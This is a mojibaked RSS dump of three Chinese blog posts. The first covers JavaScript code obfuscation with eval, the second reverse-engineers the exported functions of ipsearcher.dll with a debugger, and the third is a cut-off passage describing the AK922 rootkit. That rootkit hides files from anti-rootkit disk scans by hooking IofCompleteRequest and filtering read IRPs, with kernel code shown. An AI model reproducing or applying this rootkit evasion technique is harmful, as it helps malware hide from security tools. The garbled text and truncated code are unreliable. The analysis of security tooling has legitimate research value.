class=code>o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd</p> <p>銆銆鐩稿簲鐨勫姞瀵嗗悗瑙e瘑鐨勪唬鐮佸涓嬶細</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>function uncompile(code)<br>{<br>code=unescape(code);<br>var c=String.fromCharCode(code.charCodeAt(0)-code.length);<br>for(var i=1;i<code.length;i++)<br>return c;<br>}<br>eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));<br></SCRIPT></p> <p>銆銆<strong>涓冿細閿欒鐨勫埄鐢?/strong><br><br>銆銆鍒╃敤try{}catch(e){}緇撴瀯瀵逛唬鐮佽繘琛屾祴璇曡В瀵嗭紝铏界劧榪欎釜鎯蟲硶寰堝ソ錛堝懙鍛碉紝澶稿じ鑷繁錛夛紝鍥犱負瀹炵敤鎬т笉澶э紝鎴戜粎緇欎釜渚嬪瓙</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>var a='alert("銆婃垜鐖變竴璧楓?);';<br>var c="";<br>for(var i=0;i<a.length;i++)<br>alert(c);<br>//涓婇潰鐨勬槸鍔犲瘑浠g爜錛屽綋鐒跺鏋滅湡姝d嬌鐢ㄨ繖涓柟娉曟椂錛屼笉浼氭妸鍔犲瘑鍐欎笂鐨?br>//鐜板湪鍙橀噺c灝辨槸鍔犲瘑鍚庣殑浠g爜<br>//涓嬮潰鐨勫嚱鏁皌()鍏堝亣璁懼垵濮嬪瘑鐮佷負錛愶紝瑙e瘑鎵ц錛?br>//閬囧埌閿欒鍒欐妸瀵嗙爜鍔狅紤錛岀劧鍚庢帴鐫瑙e瘑鎵ц錛岀洿鍒版紜繍琛?br>var d=c; //淇濆瓨鍔犲瘑鍚庣殑浠g爜<br>var b=0; //鍋囧畾鍒濆瀵嗙爜涓?<br>t();<br>function t()catch(e){<br>c="";<br>for(var i=0;i<d.length;i++)<br>b+=1;<br>t();<br>//setTimeout("t()",0);<br>}<br>}<br></SCRIPT></p> </span></div> <img src ="http://www.shnenglu.com/elva/aggbug/38308.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/elva/" target="_blank">鍙跺瓙</a> 2007-12-12 14:29 <a href="http://www.shnenglu.com/elva/archive/2007/12/12/38308.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>璋冪敤鏈煡DLL涓殑瀵煎嚭鍑芥暟 http://www.shnenglu.com/elva/archive/2007/10/30/35520.html鍙跺瓙鍙跺瓙Tue, 30 Oct 2007 07:20:00 GMThttp://www.shnenglu.com/elva/archive/2007/10/30/35520.htmlhttp://www.shnenglu.com/elva/comments/35520.htmlhttp://www.shnenglu.com/elva/archive/2007/10/30/35520.html#Feedback2http://www.shnenglu.com/elva/comments/commentRss/35520.htmlhttp://www.shnenglu.com/elva/services/trackbacks/35520.html 

涓嶇煡閬撹浣嶇湅瀹樻槸鍚︽湁榪囪繖鏍風殑緇忓巻錛氬湪涓嶇粡鎰忎箣闂村彂鐜頒竴涓狣LL鏂囦歡錛屽畠閲岃竟鏈変笉灝戞湁瓚g殑瀵煎嚭鍑芥暟鈥斺斾絾鏄敱浜庝綘涓嶇煡閬撳浣曡皟鐢ㄨ繖浜涘嚱鏁幫紝鎵浠ュ彧鑳藉ぇ鍙戞劅鎱ㄨ屽張鏃犺兘涓哄姏鐒夈傚浐鐒舵湁浜涚煡鍚嶇殑DLL鍙互鐩存帴閫氳繃鎼滅儲寮曟搸鏉ユ壘鍒板畠鐨勪嬌鐢ㄦ柟寮忥紙姣斿鏈枃涓殑渚嬪瓙ipsearcher.dll錛夛紝涓嶈繃鎴戜滑璇氱劧涓嶈兘甯屾湜鑷繁鎬昏兘浜ゅ埌榪欐牱鐨勫ソ榪愩傛墍浠ュ湪鏈枃涓紝鏉庨┈甯屾湜閫氳繃鑷繁鏂囩悊涓嶇敋閫氳揪鐨勮瑙h兘澶熺粰澶у浠ユ巿浜轟互娓旂殑鏁堟灉銆?/p>

鍏堝喅鏉′歡

闃呰鏈枃錛屼綘闇瑕佸叿澶囦互涓嬪厛鍐蟲潯浠訛細

  • 鍒濇浜嗚В姹囩紪璇█錛岃櫧鐒朵綘騫朵笉涓瀹氶渶瑕佸幓璇繪噦DLL涓鍑哄嚱鏁扮殑姹囩紪浠g爜錛屼絾鏄綘鑷沖皯搴旇浜嗚В璇稿push銆乵ov榪欎簺甯哥敤鐨勬眹緙栨寚浠ゃ?
  • 涓涓兘澶熸煡鐪婦LL涓鍑哄嚱鏁扮殑宸ュ叿錛孷isual Studio涓嚜甯︾殑Dependency Walker灝辮凍澶熻儨浠諱簡錛屽綋鐒朵綘涔熷彲浠ラ夋嫨eXeScope銆?
  • 涓涓皟璇曞櫒銆傜悊璁轟笂璁睼C涔熷彲浠ュ畬鎴愯皟璇曠殑宸ヤ綔錛屼絾瀹冩瘯绔熸槸鏇村姞閽堝浜庢簮浠g爜涓綰ц皟璇曠殑宸ュ叿錛屾墍浠ヤ綘鏈濂介夋嫨涓涓笓鐢ㄧ殑姹囩紪璋冭瘯鍣ㄣ傚湪鏈枃涓垜鐢ㄧ殑鏄疧llyDbg鈥斺旀垜涓嶄細浠嬬粛鏈夊叧榪欎釜璋冭瘯宸ュ叿鐨勪換浣曚笢瑗匡紝鑰屽彧鏄畝瑕佷粙緇嶆垜鐨勮皟璇曡繃紼嬨?

鍑嗗濂戒簡鍚楋紵閭d箞鎴戜滑鍋氫竴涓儹韜繍鍔ㄥ惂鍏堛?/p>

鐑韓鈥斺斿嚱鏁拌皟鐢ㄧ害瀹?/strong>

榪欓噷瑕佽緇嗕粙緇嶇殑鏄湁鍏沖嚱鏁拌皟鐢ㄧ害瀹氱殑鍐呭錛屽鏋滀綘宸茬粡浜嗚В浜嗚繖鏂歸潰鐨勫唴瀹癸紝鍙互璺寵繃鏈妭銆?/p>

浣犲彲鑳藉湪瀛︿範Windows紼嬪簭璁捐鐨勬椂鍊欐棭宸叉帴瑙﹁繃“鍑芥暟璋冪敤綰﹀畾”榪欎釜璇嶆眹浜嗭紝閭d釜鏃跺欎綘鎵浜嗚В鐨勫唴瀹瑰彲鑳芥槸涓涓緇熺殑姒傚康錛屽唴瀹瑰ぇ鎶墊槸璇村嚱鏁拌皟鐢ㄧ害瀹氬氨鏄寚鐨勫嚱鏁板弬鏁拌繘鏍堥『搴忎互鍙婂爢鏍堜慨姝f柟寮忋傝濡俢decl璋冪敤綰﹀畾鏄嚱鏁板弬鏁拌嚜鍙寵屽乏榪涙爤錛岀敱璋冪敤鑰呬慨澶嶅爢鏍堬紱stdcall璋冪敤綰﹀畾浜︽槸鍑芥暟鍙傛暟鑷彸鑰屽乏榪涙爤錛屼絾鏄敱琚皟鐢ㄨ呬慨澶嶅爢鏍?#8230;…鍣笉錛岃繖澶櫐娑╀簡鈥斺斿湪婧愪唬鐮佷笂鎴戜滑鏄棤娉曠湅鍒拌繖浜涗笢瑗跨殑錛?/p>

閭d箞鎴戜滑鍒棤閫夋嫨錛屽彧鏈夋繁鍏ュ埌姹囩紪涓灞備簡銆傝冭檻浠ヤ笅C++浠g爜錛?/p>

#include <stdio.h>

int __cdecl max1( int a, int b )
{
    return a > b ? a : b;
}

int __stdcall max2( int a, int b )
{
    return a > b ? a : b;
}

int main()
{
    printf( "max( 1, 2 ) of cdecl version: %d\n", max1( 1, 2 ) );
    printf( "max( 1, 2 ) of stdcall version: %d\n", max2( 1, 2 ) );
    return 0;
}

瀵瑰簲鐨勬眹緙栦唬鐮佷負錛?/p>

; int __cdecl max1( int a, int b )
00401000 MOV EAX,DWORD PTR SS:[ESP+4]
00401004 MOV ECX,DWORD PTR SS:[ESP+8]
00401008 CMP EAX,ECX
0040100A JG SHORT CppTest.0040100E
0040100C MOV EAX,ECX
0040100E RETN

; int __stdcall max2( int a, int b )
00401010 MOV EAX,DWORD PTR SS:[ESP+4]
00401014 MOV ECX,DWORD PTR SS:[ESP+8]
00401018 CMP EAX,ECX
0040101A JG SHORT CppTest.0040101E
0040101C MOV EAX,ECX
0040101E RETN 8 ; 琚皟鐢ㄨ呯殑鍫嗘爤淇

; max1( 1, 2 )
00401030 PUSH 2
00401032 PUSH 1
00401034 CALL CppTest.00401000
00401039 ADD ESP,8 ; 璋冪敤鑰呯殑鍫嗘爤淇

; max2( 1, 2 )
0040104A PUSH 2
0040104C PUSH 1
0040104E CALL CppTest.00401010

濂戒簡錛屾垜鏉ョ畝瑕佷粙緇嶄竴涓嬨傚嚱鏁板弬鏁頒紶鍏ュ嚱鏁頒綋鏄熺敱鍫嗘爤孌靛畬鎴愮殑錛屼篃灝辨槸灝嗗悇涓弬鏁頒緷鏌愮嬈″簭鎺ㄥ叆SS涓斺斿湪cdecl涓巗tdcall綰﹀畾涓紝榪欎釜嬈″簭閮芥槸鑷彸鑰屽乏鐨勩傚彟澶栵紝鐢變簬灝嗗弬鏁版帹鍏ヤ簡鍫嗘爤鑷翠嬌鍫嗘爤鎸囬拡ESP鍙戠敓浜嗗彉鍖栵紝鎵浠ヨ鍦ㄥ嚱鏁扮粨鏉熺殑鏃跺欓噸鏂頒慨姝SP銆備粠涓婅竟鐨勬眹緙栦唬鐮佷腑浣犱篃鍙互寰堟竻妤氬湴鐪嬪埌錛宑decl綰﹀畾鏄湪璋冪敤max1涔嬪悗淇鐨凟SP錛岃宻tdcall綰﹀畾鍒欐槸鍦╩ax2榪斿洖鏃跺熺敱RETN 8瀹屾垚浜嗚繖涓慨姝e伐浣溿?/p>

鍙﹀錛屼粠涓婅竟鐨勬眹緙栦唬鐮佷腑榪樺彲浠ョ湅鍒幫紝鍑芥暟鐨勮繑鍥炲兼槸鐢盓AX甯﹀洖鐨勩?/p>

搴栦竵瑙g墰

鍦ㄤ簡瑙d簡浠ヤ笂鐨勭煡璇嗗悗錛屾垜浠氨鍙互浣跨敤璋冭瘯鍣ㄦ潵璋冭瘯閭d釜鏈煡鐨凞LL浜嗐傚彲浠ヨ錛岃繖鏁翠釜鐨勮皟璇曡繃紼嬪厖婊′簡鎯婇櫓鍜屽埡嬋錛岃屼笖鎴戜滑榪橀渶瑕佷竴瀹氱殑鎶宸р斺斿鏋滀綘鍍忔垜涓鏍蜂笉鍠滄闃呰姹囩紪浠g爜鐨勮瘽銆?/p>

鍦ㄦ湰鏂囦腑錛屾垜鎵閫夋嫨鐨勮皟璇曠ず渚嬫槸FTerm涓檮甯︾殑ipsearcher.dll錛屽畠鎻愪緵浜嗗綰湡IP鏁版嵁搴撶殑鏌ヨ鎺ュ彛銆備笅鍥炬槸鐢―ependency Walker瀵瑰叾鍒嗘瀽鐨勭粨鏋滐細

浣犲彲浠ョ湅鍒幫紝榪欓噷杈規湁涓や釜瀵煎嚭鍑芥暟錛歀ookupAddress鍜宊GetAddress錛岄偅涔堟垜浠彲浠ユ寜鐓ц繑鍥炲箋佽皟鐢ㄧ害瀹氥佸嚱鏁板悕銆佸弬鏁板垪琛ㄧ殑欏哄簭灝嗗畠浠0鏄庡涓嬶細

? ? LookupAddress( ? );
? ? _GetAddress( ? );

鏄殑錛屾湁澶鐨勬湭鐭ワ紝涓嬮潰鏉庨┈灝嗚閫愪竴鍦扮牬瑙h繖浜涢棶鍙楓?/p>

璋冭瘯鍣ㄤ笉鍙兘瀛ょ珛鍦板DLL榪涜璋冭瘯錛屾垜浠墍闇瑕佺殑搴旇鏄竴涓悎閫傜殑EXE錛岃繖鏍鋒湁鍔╀簬鎴戜滑鐨勬帰絀跺伐浣溿傚湪榪欓噷鎴戦夋嫨鐨凟XE鏄垜緙栧啓鐨刬psearcher.exe錛屽綋鐒惰繖鍙兘浼氳浣犺涓烘垜榪欑瘒鏂囩珷鐨勭粍緇囬『搴忔湁闂鈥斺旀瘯绔熸槸鎴戝凡緇忕煡閬撲簡榪欎袱涓鍑哄嚱鏁頒箣鍚庯紙緙栧啓浜唅psearcher.exe錛夎繕瑕佸亣瑁呮垚涓嶇煡閬撶殑鏍峰瓙鏉ュipsearcher.dll鏉ヨ繘琛屾帰絀訛紝鎵浠ユ垜鍐沖畾鍦ㄤ笅鏂囦腑涓嶅ipsearcher.exe鐨勪唬鐮佽繘琛屼換浣曞叧娉紝鑰屾槸鐩存帴榪涘叆鍒癷psearcher.dll鐨勯絀恒?/p>

鎵撳紑璋冭瘯鍣紝杞藉叆ipsearcher.exe銆傚綋ipsearcher.dll琚杞藉悗錛屼細寮曞彂涓涓闂紓甯革紝鍙互蹇界暐榪欎釜寮傚父緇х畫璋冭瘯銆傛牴鎹瓺ependency Walker鐨勫垎鏋愮粨鏋滐紝鍦╥psearcher.dll鐨?x00001BB0鍜?x00001C40澶勫悇涓嬩竴涓柇鐐廣傜幇鍦ㄥ湪“IP鍦板潃”涓緭鍏ヤ竴涓狪P鍦板潃錛堣繖閲屼互瀵掓硥BBS鐨処P涓轟緥錛夛紝鐐瑰嚮“鏌ヨ”錛屼細鍙戠幇鎸囦護璺沖叆0x00001C40涓紙涔熷氨鏄痏GetAddress錛夛紝瀹冪殑浠g爜濡備笅錛?/p>

10001C40 MOV EAX,DWORD PTR SS:[ESP+4] ; 涓涓弬鏁?/font>
10001C44 PUSH ipsear_1.10009BE8
10001C49 PUSH EAX
10001C4A CALL ipsear_1.LookupAddress ; 涓や釜鍙傛暟
10001C4F ADD ESP,8 ; LookupAddress鏄痗decl璋冪敤綰﹀畾
10001C52 MOV EAX,ipsear_1.10009BE8
10001C57 RETN ; _GetAddress榪欏幃涔熸槸cdecl璋冪敤綰﹀畾

寰堢煭鐨勫嚑琛屼唬鐮侊紝涓嶈繃瀹冨凡緇忓彲浠ユ彁渚涜繖浜涗俊鎭簡錛?/p>

  • 浠嶴S鐨勪嬌鐢ㄦ潵鐪嬶紝_GetAddress鍙甫鏈変竴涓弬鏁般?
  • _GetAddress涓皟鐢ㄤ簡LookupAddress錛屽悗鑰呭甫鏈変袱涓弬鏁般?
  • 璋冪敤LookupAddress涔嬪悗榪涜浜嗗爢鏍堜慨姝o紝鎵浠ookupAddress鏄痗decl璋冪敤綰﹀畾銆?
  • _GetAddress榪斿洖鏃跺茍鏈繘琛屽爢鏍堜慨姝o紝鎵浠GetAddress涔熸槸cdecl璋冪敤綰﹀畾銆?

浜庢槸錛屾垜浠彲浠ユ浛鎹竴涓嬪垰鎵嶇殑闂彿浜嗭細

? CDECL LookupAddress( ?, ? );
? CDECL _GetAddress( ? );

涓嬮潰鍙互榪涜鍗曟璋冭瘯浜嗭紝褰撲唬鐮佹鑷?0001C44鏃訛紝浣犱細鍙戠幇瀵勫瓨鍣ㄧ獥鍙e彂鐢熶簡濡備笅鐨勫彉鍖栵細

“202.207.177.9”緇堜簬鍑虹幇浜嗭紝榪欐牱涓鏉ユ垜浠彲浠ョ戶緇闂彿榪涜鏇挎崲浜嗭細

? CDECL LookupAddress( PCSTR, ? );
? CDECL _GetAddress( PCSTR );

鐜板湪緇х畫瀵逛唬鐮佽繘琛岃窡韙紝鏄繘鍏ookupAddress鐨勬椂鍊欎簡銆傛垜浠彲浠ヤ粠鍏堝墠_GetAddress鐨勪唬鐮佷腑鍙互鍙戠幇錛岃繖涓や釜瀵煎嚭鍑芥暟涓鐩村湪鍥寸粫10009BE8榪欎釜鍦板潃鍋氭枃绔狅紝閭d箞鎴戜滑灝辮鍦ㄥ崟姝ヨ皟璇昄ookupAddress鐨勫悓鏃跺叧娉ㄨ繖涓湴鍧鐨勬暟鎹敼鍙樸傚嚑姝ヨ窡韙箣鍚庯紝浣犱細鍙戠幇10009BE8寮澶寸殑8瀛楄妭錛堜袱涓狣WORD錛夋暟鎹彂鐢熶簡鏀瑰彉錛屽彉鎴愪簡10009AB4鍜?0009B1C銆傞偅涔堟垜浠啀杞悜榪欎袱涓湴鍧錛屼細鍙戠幇錛?/p>

榪欐牱涓鏉ュ氨寰堟竻妤氫簡錛?0009BE8鏄竴涓瓧絎︿覆鎸囬拡鐨勬暟緇勶紝瀹冩湁涓や釜鍏冪礌銆備篃灝辨槸璇達紝鎴戜滑鐨勫嚱鏁板0鏄庡彲浠ユ崲鎴愯繖鏍鳳細

? CDECL LookupAddress( PCSTR, PSTR* );
PSTR* CDECL _GetAddress( PCSTR );

鎺ヤ笅鏉ラ渶瑕佺‘瀹氱殑灝辨槸LookupAddress鐨勮繑鍥炲間簡銆傜旱瑙侺ookupAddress鐨勮繑鍥炰唬鐮侊紝浣犱細鍙戠幇榪欐牱鐨勭墖鏂細

; 鐗囨柇1
10001C0B XOR EAX,EAX
10001C0D POP ESI
10001C0E RETN
; 鐗囨柇2
10001C2B MOV EAX,1
10001C30 POP ESI
10001C31 RETN

涔熷氨鏄錛岃繖涓嚱鏁版湁涓や釜榪斿洖鍊鹼細0鎴?銆傞偅涔堟渶鍚庣殑鐪熺浉緇堜簬澶х櫧浜庡ぉ涓嬧斺?/p>

BOOL CDECL LookupAddress( PCSTR, PSTR* );
PSTR* CDECL _GetAddress( PCSTR );

GetProcAddress錛?/strong>

鍒版涓烘錛岃繖涓や釜鍑芥暟鐨勫0鏄庣粓浜庤鎴戜滑鎵懼嚭鏉ヤ簡銆備篃璁鎬綘浼氳寰楄繖灝卞浜嗏斺旀帴涓嬫潵灝辨槸鐢╰ypedef瀹氫箟鍑芥暟鎸囬拡錛岀劧鍚庝嬌鐢↙oadLibrary銆丟etProcAddress璋冪敤榪欎簺鍑芥暟鐨勪簨鎯呬簡銆?/p>

濡傛灉浣犵湡鐨勮繖涔堣涓虹殑璇濓紝閭f垜璁や負鎴戞湁蹇呰鍚戜綘浠嬬粛榪欏彟澶栫殑涓縐嶆柟寮忋?/p>

棣栧厛璇蜂綘寤虹珛涓涓悕涓篿psearcher.def鐨勬枃浠訛紝鐒跺悗鍦ㄥ叾涓啓鍏ュ涓嬪唴瀹癸細

LIBRARY "ipsearcher"

EXPORTS
LookupAddress @1
_GetAddress   @2

灝嗘枃浠朵繚瀛樺悗錛岃繘鍏ュ埌鍛戒護琛屾ā寮忎笅錛岃緭鍏ヤ互涓嬪懡浠わ紙鍓嶆彁鏄綘鎷ユ湁Visual Studio鐨勯檮甯﹀伐鍏穕ib.exe騫舵湁姝g‘鐨勮礬寰勬寚鍚戙備互Visual Studio 6.0涓轟緥錛岃繖涓伐鍏烽氬父浣嶄簬Microsoft Visual Studio\VC98\Bin涓嬶級錛?/p>

lib /def:ipsearcher.def

鎵ц鐨勭粨鏋滄湁涓涓鍛婏紝涓嶅繀鐞嗕細銆傝繖鏃跺欐垜浠細鍙戠幇錛宭ib涓烘垜浠敓鎴愪簡涓涓猧psearcher.lib銆?/p>

鐒跺悗錛屾垜浠戶緇紪鍐檌psearcher.h鏂囦歡錛屽涓嬶細

#ifndef IPSEARCHER_H
#define IPSEARCHER_H

#include <windows.h>

#pragma commentlib, "ipsearcher.lib" )

extern "C"
{

BOOL CDECL LookupAddress( PCSTR, PSTR* );

PSTR* CDECL _GetAddress( PCSTR );

};

#endif // IPSEARCHER_H

澶у姛鍛婃垚錛佽繖鏍鋒垜浠氨涓鴻繖涓厜縐冪鐨刬psearcher.dll鍋氫簡涓浠絊DK寮鍙戝寘錛岃屼笉蹇呭啀浣跨敤鍔ㄦ佸姞杞界殑鏂規硶浜嗐?/p>

鎬葷粨涓涓嬪啀

鍏跺疄錛屾帰絀朵竴涓狣LL騫墮潪鍍忔垜榪欓噷鎵璁茶堪鐨勮繖涔堢畝鍗曘傝繖欏瑰伐浣滃緢鍙兘闇瑕侀槄璇誨ぇ閲忕殑姹囩紪浠g爜錛屼簡瑙LL鍑芥暟浣撶殑嫻佺▼鎵嶈兘浣跨湡鐩稿ぇ鐧戒簬澶╀笅銆傚彟澶栵紝榪樹笉鑳芥帓闄ゆ湁鐨凞LL琚姞瀵嗐佸姞澹熾佸弽璺熻釜……涔熷氨鏄瀵逛簬ipsearcher.dll錛岄偅綆鐩村氨鏄垜鎹′簡涓究瀹滄潵鍊熻姳鐚經浜嗐?/p>

鍙跺瓙 2007-10-30 15:20 鍙戣〃璇勮
]]>
AK922: 紿佺牬紓佺洏浣庣駭媯嫻嬪疄鐜版枃浠墮殣钘?/title><link>http://www.shnenglu.com/elva/archive/2007/10/12/34018.html</link><dc:creator>鍙跺瓙</dc:creator><author>鍙跺瓙</author><pubDate>Fri, 12 Oct 2007 03:58:00 GMT</pubDate><guid>http://www.shnenglu.com/elva/archive/2007/10/12/34018.html</guid><wfw:comment>http://www.shnenglu.com/elva/comments/34018.html</wfw:comment><comments>http://www.shnenglu.com/elva/archive/2007/10/12/34018.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/elva/comments/commentRss/34018.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/elva/services/trackbacks/34018.html</trackback:ping><description><![CDATA[AK922: 紿佺牬紓佺洏浣庣駭媯嫻嬪疄鐜版枃浠墮殣钘?br>浣滆咃細Azy<br>email: Azy000@gmail.com<br>瀹屾垚浜庯細2007-08-08<br><br>   鐩墠錛屼竴浜涘凡鍏紑鐨勪富嫻乤nti-rootkit媯嫻嬮殣钘忔枃浠朵富瑕佹湁涓ょ鏂規硶錛氱涓縐嶆槸鏂囦歡緋葷粺灞傜殑媯嫻嬶紝灞炰簬榪欎竴綾葷殑鏈塱cesword錛宒arkspy錛実mer絳夈傜浜岀渚挎槸紓佺洏綰у埆鐨勪綆綰ф嫻嬶紙Disk Low-Level Scanning錛夛紝灞炰簬榪欎竴綾葷殑ark涔熷緢澶氾紝鍏稿瀷浠h〃涓簉ootkit unhooker錛宖ilereg錛坕s鐨勬彃浠訛級錛宺ootkit revealer錛宐lacklight絳夈傚綋鐒訛紝榪樻湁涓浜涘伐鍏鳳紝瀹冧滑鍦ㄥ簲鐢ㄥ眰涓婇氳繃璋冪敤ZwQueryDirectoryFile鏉ュ疄鏂芥嫻嬨?br>   椹卞姩涔熷ソ錛屽簲鐢ㄤ篃緗紝璇寸櫧浜嗗氨鏄洿鎺ユ垨闂存帴鍙戦両RP鍒頒笅灞傞┍鍔ㄣ傜涓綾葷殑鍙戦佸埌FSD涓紙fastfat.sys/ntfs.sys錛夛紝絎簩綾昏鍙戦佸埌紓佺洏椹卞姩錛坉isk.sys錛夛紝鑰屽悗IRP渚夸細鎼哄甫鐩稿簲鐨勬枃浠朵俊鎭繑鍥烇紝榪欐椂涓婂眰搴旂敤鍐嶆牴鎹繑鍥炰俊鎭繘琛屽鐞嗗拰鍒ゆ柇銆備絾鏄敱浜嶥isk綰ф瘮FS綰ф洿搴曞眰錛孖RP榪斿洖緇欐垜浠殑鏄洿鍔犳帴榪戞暟鎹師濮嬬粍緇囨柟寮忕殑紓佺洏鎵囧尯淇℃伅錛屾墍浠ュ湪Disk灞備笂瀹炴柦鏂囦歡媯嫻嬪彲浠ュ緱鍒版洿浠や漢淇℃湇鐨勭粨鏋溿備絾榪欏茍涓嶇瓑浜庤榪欑被媯嫻嬩笉鑳借鍑昏觸銆傛湰鏂囧氨灝嗕粙緇嶄竴縐嶇粫榪囪綾繪嫻嬬殑瀹炵幇鏂規硶錛屽綋鐒訛紝榪欎篃鏄湪AK922涓嬌鐢ㄧ殑銆?br>   瀵逛簬瑕佸疄鐜版枃浠墮殣钘忕殑RK錛屼笌鍏惰鏄?#8220;緇曡繃”錛岃繕涓嶅璇存槸“鎷︽埅” -- 鎸傞挬鏌愪簺鍐呮牳鍑芥暟璋冪敤錛屼互渚垮湪榪斿洖涓婂眰涔嬪墠鎴戜滑鏈夋満浼氳繃婊ゆ帀寰呴殣钘忔枃浠剁殑淇℃伅銆?br>   AK922閲囩敤鐨勬柟娉曟槸Hook鍐呮牳鍑芥暟IofCompleteRequest銆傝繖涓嚱鏁板緢鏈夋剰鎬濓紝鍥犱負瀹冧笉浠呮槸涓涓嚑涔庡湪浠諱綍椹卞姩涓兘瑕佽皟鐢ㄧ殑鍑芥暟錛岃屼笖鍙傛暟涓濂藉惈鏈塈RP銆傛湁浜咺RP錛屽氨鏈変簡涓鍒囥傝繖浜涚壒鎬у喅瀹氫簡瀹冨緢閫傚悎鍋氭垜浠殑“鍌鍎?#8221;銆備絾鏇撮噸瑕佺殑鏄紝涓鑸湪椹卞姩涓皟鐢↖ofCompleteRequest涔嬫椂IRP鎿嶄綔閮藉凡瀹屾瘯錛孖RP涓浉鍏沖煙宸茬粡濉厖浜嗗唴瀹癸紝榪欏氨渚夸簬鎴戜滑鐫鎵嬬洿鎺ヨ繘琛岃繃婊よ屼笉鐢ㄥ啀鍋氳濡傚彂閫両RP瀹夎瀹屾垚渚嬬▼涔嬬被鐨勬搷浣溿?br>   涓嬮潰灝辯潃閲嶈涓涓嬪伐浣滄祦紼嬶細<br>   棣栧厛錛屽垽鏂璏ajorFunction鏄笉鏄疘RP_MJ_READ浠ュ強IO鍫嗘爤涓殑DeviceObject鏄惁鏄鐩橀┍鍔ㄧ殑璁懼瀵硅薄錛屽洜涓鴻繖鎵嶆槸鎴戜滑瑕佸鐞嗙殑鏍稿績IRP錛屾墍鏈塧rk鐩存帴鍙戦佸埌Disk灞傜殑IRP鍦ㄨ繖閲岄兘鍙互琚嫤鎴埌銆?br>   鎺ヤ笅鏉ョ殑澶勭悊瑕佺壒鍒敞鎰忥紝榪涘叆鍒拌繖閲屾椂IRQL鏄湪APC_LEVEL浠ヤ笂鐨勶紝鍥犳鎴戜滑涓嶈兘紕頒換浣旾RP涓殑鐢ㄦ埛妯″紡緙撳啿鍖猴紝涓紕版瀬鏈夊彲鑳借摑錛屼篃灝辨槸璇存垜浠笉鑳界洿鎺ュ鐞嗙浉鍏崇鐩樻墖鍖轟俊鎭紝鑰屽繀欏婚氳繃ExQueueWorkItem鎺掗槦涓涓猈orkItem鐨勬柟娉曟潵澶勭悊銆傞櫎姝や箣澶栵紝鐢變簬Disk灞傚湪璁懼鍫嗘爤涓浜庨潬涓嬬殑浣嶇疆錛屽ぇ閮ㄥ垎IRP鍙戝埌榪欓噷鏃跺綋鍓嶈繘紼嬩笂涓嬫枃鏃╁凡涓嶆槸鍘熷IRP鍙戣搗鑰呯殑榪涚▼涓婁笅鏂囦簡錛岃繖閲岀殑鍙戣搗鑰呭簲鐞嗚В涓篴rk榪涚▼銆傚垢榪愮殑鏄湪IRP鐨凾ail.Overlay.Thread鍩熶腑榪樹繚瀛樼潃鍘熷ETHREAD鎸囬拡錛屼負浜嗘搷浣滅敤鎴鋒ā寮忕紦鍐插尯錛屽繀欏昏皟鐢↘eAttachProcess鍒囧埌IRP鍙戣搗鑰呯殑涓婁笅鏂囩幆澧冧腑錛岃岃繖涓伐浣滃彧鑳藉湪澶勪簬PASSIVE_LEVEL綰т笂鐨勫伐浣滆呯嚎紼嬩腑鎵ц銆傚湪DISPATCH_LEVEL綰т笂錛屽仛鐨勪簨瓚婂皯瓚婂ソ銆?br>   鍒氬紑濮嬫垜榪樺垎涓ょ鎯呭喌榪涜澶勭悊錛氬洜涓哄茍涓嶆槸鎵鏈夌殑IRP閮戒笉澶勫湪鍘熷涓婁笅鏂囦腑錛屾瘮濡俰cesword鍙戠殑IRP鍒拌繖閲岃繕鏄鍦╥cesword.exe榪涚▼涓殑錛岃繖鏃舵垜璁や負鍙互涓嶇敤鎺掗槦宸ヤ綔欏癸紝榪欐牱灝卞彲浠ヨ妭鐪佸緢澶氱郴緇熻祫婧愶紝鎻愰珮榪囨護鏁堢巼銆備簬鏄垜璇曞浘鍦―ISPATCH_LEVEL綰т笂鐩存帴鎿嶄綔鐢ㄦ埛緙撳啿鍖猴紝浣嗚繖鏍規湰琛屼笉閫氥傞┍鍔ㄥ緢涓嶇ǔ瀹氾紝涓嶄竴浼氬氨钃濅簡銆傛晠绱㈡ц佽佸疄瀹炲湴鎺掗槦鍘諱簡錛岀劧鍚庡啀鍒嗘儏鍐靛鐞嗐備唬鐮佸涓嬶細<br><br>// 澶勭悊Disk Low-Level Scanning<br>if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)<br>{    <br>        <br>    orgnThread = Irp->Tail.Overlay.Thread;<br>    orgnProcess = IoThreadToProcess(orgnThread);<br>        <br>    if(Irp->MdlAddress)<br>    {        <br>        UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);<br>            <br>        // UserBuffer蹇呴』鏈夋晥<br>        if(UserBuffer)<br>        {                    <br>            <br>            if(KeGetCurrentIrql() == DISPATCH_LEVEL)<br>            {                    <br>            <br>                RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));<br>                <br>                WorkerCtx->UserBuffer = UserBuffer;<br>                WorkerCtx->Length = irpSp->Parameters.Read.Length;<br>                WorkerCtx->EProc = orgnProcess;<br>                <br>                ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);<br>                                <br>                ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);<br>            } <br>        }<br>        <br>    }<br>}<br>  <br><br>   鏉ュ埌宸ヤ綔鑰呯嚎紼嬶紝鍒頒簡PASSIVE_LEVEL綰т笂錛屽垏鎹笂涓嬫枃涔嬪悗錛屼技涔庡畨鍏ㄥ浜嗐備絾鏄互闃蹭竾涓錛屾搷浣滅敤鎴鋒ā寮忕紦鍐插尯涔嬪墠榪樻槸瑕佽皟鐢≒robeForXxx鍑芥暟鍏堝垽鏂竴涓嬨傜浉鍏充唬鐮佸涓嬶細<br><br>VOID WorkerThread(PVOID Context)<br>{<br>    KIRQL irql;<br>    PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;<br>    PEPROCESS currProc = 